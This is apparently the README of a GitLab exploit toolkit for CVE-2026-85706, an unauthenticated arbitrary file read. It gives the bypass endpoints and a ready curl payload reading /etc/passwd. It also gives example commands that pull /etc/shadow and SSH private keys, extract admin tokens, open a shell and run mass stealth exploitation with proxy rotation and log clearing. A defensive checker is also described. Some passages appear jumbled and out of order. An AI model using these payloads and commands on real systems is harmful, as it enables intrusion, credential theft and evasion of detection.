
Python-инструментарий для неаутентифицированного чтения файлов в GitLab (CVE-2026-85706): эксплойт с извлечением данных, шеллом, массовым сканированием, а также неинтрузивный аудит и отчётность SafeChecker.

⚠️ ТОЛЬКО ЭТИЧНОЕ ИСПОЛЬЗОВАНИЕ – АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ БЕЗОПАСНОСТИ
Этот репозиторий предоставляет инструменты только для авторизованных специалистов по безопасности, blue teams и пентестеров.
Несанкционированный доступ к компьютерным системам является незаконным в соответствии с CFAA (США), Computer Misuse Act (Великобритания), TCK 243/244 (Турция) и аналогичными законами по всему миру.
CVE‑2026‑85706 — это критическая уязвимость неаутентифицированного произвольного чтения локальных файлов в self-managed GitLab CE/EE (версии 18.7 – 19.3.1), позволяющая неаутентифицированному злоумышленнику прочитать любой файл на сервере с помощью одного HTTP-запроса к API коммитов.
%63ommits./api/v4/projects/{id}/repository/commits открывает файл, указанный в file.path, до проверки аутентификации.%-последовательность, Rack возвращает содержимое в теле ответа 400 Bad Request, раскрывая полное содержимое.| Инструмент | Назначение | Целевой пользователь |
|---|---|---|
exploit.py | Полный боевой инструментарий с неаутентифицированным чтением файлов, перечислением добычи, извлечением admin-токена, массовым сканированием, интерактивной оболочкой, ротацией прокси, режимом скрытности и отчётами в нескольких форматах. | Red teams / авторизованные пентестеры |
safechecker.py | Неинтрузивный чекер уязвимости, который определяет версию GitLab, проверяет подверженность, аудирует заголовки безопасности и оценивает риск без чтения каких-либо файлов. Генерирует отчёты JSON/CSV/HTML. | Blue teams / аудиторы безопасности |
| Возможность | exploit.py | safechecker.py |
|---|---|---|
| Обнаружение уязвимости | ✅ | ✅ |
| Определение версии | ✅ | ✅ |
| Неаутентифицированное чтение файлов | ✅ | ❌ |
| Перечисление добычи | ✅ | ❌ |
| Извлечение admin-токена | ✅ | ❌ |
| Интерактивная оболочка | ✅ | ❌ |
| Массовое сканирование (многопоточное) | ✅ | ✅ |
| Аудит заголовков безопасности | ❌ | ✅ |
| Проверка TLS/сертификата | ❌ | ✅ |
| Сопоставление с MITRE ATT&CK | ✅ | ✅ |
| Поддержка прокси | ✅ | ✅ |
| Ротация прокси | ✅ | ❌ |
| Ротация User‑Agent (OPSEC) | ✅ | ❌ |
| Джиттер / задержка (OPSEC) | ✅ | ❌ |
| Адаптивный ограничитель скорости | ✅ | ✅ |
| Режим скрытности | ✅ | ❌ |
| Имперсонация TLS через curl_cffi | ✅ | ❌ |
| Неинтрузивный (безопасный) режим | ❌ | ✅ |
| Вывод JSON / JSONL / CSV / HTML | ✅ | ✅ |
| Вывод в SQLite БД | ✅ | ❌ |
| Уведомления через webhook | ✅ | ✅ |
| Diff с предыдущим сканированием | ✅ | ✅ |
| Сценарий | Рекомендуемый инструмент |
|---|---|
| Blue Team – проверка, уязвим ли ваш GitLab | safechecker.py |
| Аудит безопасности – неинтрузивная оценка уязвимости | safechecker.py |
| Red Team – авторизованное тестирование на проникновение с полной эксплуатацией | exploit.py |
| Bug Bounty – ответственное раскрытие | safechecker.py |
| Массовое сканирование – проверка нескольких целей на уязвимость | exploit.py (только обнаружение) |
| Реагирование на инциденты – проверка, скомпрометированы ли системы | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.py| Параметр | Описание |
|---|---|
-u, --url | URL одной цели (например, https://gitlab.example.com) |
-f, --file | Файл со списком целей (по одной в строке) |
--pipe | Чтение целей из stdin (конвейер subfinder/httpx) |
--read | Абсолютный путь(и) для чтения, через запятую |
--wordlist | Файл с путями для чтения (по одному в строке) |
--project-id | Принудительно указать конкретный ID проекта |
--max-projects | Максимум ID проектов для перебора (по умолчанию: 8) |
--auto | Автоматически собирать ценные файлы GitLab |
--loot | То же, что --auto |
--shell | Интерактивная оболочка после эксплуатации |
--force | Сканировать, даже если фингерпринт GitLab слабый |
-t, --threads | Потоки для нескольких целей (по умолчанию: 8) |
--timeout | Таймаут HTTP (по умолчанию: 15s) |
--retry | Количество повторов (по умолчанию: 3) |
--retry-on | HTTP-коды для повтора (по умолчанию: 429,500,502,503,504) |
--proxy | HTTP/HTTPS прокси |
--proxy-list | Файл с прокси для ротации |
--proxy-rotate | Стратегия ротации: round-robin, random, sticky |
--jitter | Добавить случайный джиттер между запросами |
--jitter-range | Мин,макс джиттера в секундах (по умолчанию: 0.1,2.0) |
--delay | Фиксированная задержка между запросами |
--stealth | Включить режим скрытности (ротация UA + X-Forwarded-For) |
safechecker.py| Параметр | Описание |
|---|---|
-u, --url | URL одной цели (например, https://gitlab.example.com) |
-f, --file | Файл с целями (по одной в строке) |
-t, --threads | Потоки для нескольких целей (по умолчанию: 5) |
--timeout | Таймаут HTTP (по умолчанию: 10s) |
--rate-limit | Максимум запросов в секунду (0 = без ограничений) |
--user-agent | Пользовательская строка User-Agent |
--insecure | Отключить проверку TLS (риск MITM) |
--webhook | URL webhook (slack:, discord:, telegram:) |
--diff | Сравнить с JSON предыдущего сканирования |
-v, --verbose | Подробный вывод |
-o, --output | Выходной файл JSON |
--csv | Выходной файл CSV |
--report | Файл HTML-отчёта |
--mitre | Включить сопоставление с MITRE ATT&CK (по умолчанию: вкл.) |
| # | Сценарий | Команда |
|---|---|---|
| 1 | Быстрая проверка уязвимости | python safechecker.py -u https://gitlab.example.com |
| 2 | Детальный аудит с отчётом | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | Массовый аудит из файла | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | Эксплойт только для обнаружения | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | Чтение одного файла | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | Чтение нескольких файлов | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | Автосбор ценных файлов | python exploit.py -u https://gitlab.example.com --auto |
| 8 | Интерактивная оболочка | python exploit.py -u https://gitlab.example.com --shell |
| 9 | Массовая эксплуатация со скрытностью | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | Конвейер из subfinder | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | Полная атака с выводом для SIEM | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | Возобновление прерванного сканирования | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | Сравнение двух сканирований | python safechecker.py -f targets.txt -o new.json --diff previous.json |
Эксплойт использует следующие эндпоинты GitLab и техники обхода:
| Шаг | Метод | Эндпоинт | Описание |
|---|---|---|---|
| 1. Обход | POST | /api/v4/projects/{id}/repository/%63ommits | Закодированная c обходит Workhorse |
| 2. Обход | POST | /api/v4/projects/{id}/%72epository/commits | Закодированная r в repository |
| 3. Обход | POST | /api/v4/projects/{id}/repository/commits/ | Обход через завершающий слэш |
| 4. Обход | POST | /api/v4/projects/{id}/repository/commits.json | Обход через суффикс формата Grape |
| 5. Files API | POST | /api/v4/projects/{id}/repository/files/x | Альтернативный маршрут |
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
Это программное обеспечение предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности.
| Очистка логов (анти-форензика) | ✅ | ❌ |
| Пользовательский User‑Agent | ✅ | ✅ |
| Управление проверкой SSL | ✅ | ✅ |
--curl-cffi | Использовать curl_cffi для имперсонации TLS-фингерпринта |
--user-agent-file | Файл со строками User-Agent |
--max-body | Максимальный размер тела ответа (0 = без ограничений) |
--concurrent-per-host | Максимум одновременных запросов на хост |
--rate-limit | Максимум запросов в секунду (0 = без ограничений) |
--exclude | Хосты для исключения через запятую (glob-шаблоны) |
--grep | Показывать только утечки, соответствующие regex |
--resume | Возобновить из файла состояния |
--notify | URL уведомления (slack:, discord:, telegram:) |
--db | Сохранять результаты в базу данных SQLite |
--output-format | Формат вывода: json, jsonl, csv, html |
-o, --output | Путь к выходному файлу |
-v, --verbose | Подробный вывод |
-q, --quiet | Тихий режим |
--no-color | Отключить цвета |
--no-banner | Без баннера |
--config | Файл конфигурации YAML/JSON |
--dry-run | Показать план без выполнения запросов |
--safe-mode | Читать только /etc/hostname для проверки |
--timeout-profile | aggressive, normal, stealth |
--mitre | Включить сопоставление с MITRE ATT&CK |
--fingerprint | Детальный фингерпринт GitLab |
--cve-check | Проверить связанные CVE |
--json-schema | Вывод с JSON-схемой для SIEM |
--progress | Показывать прогресс-бар (требуется rich) |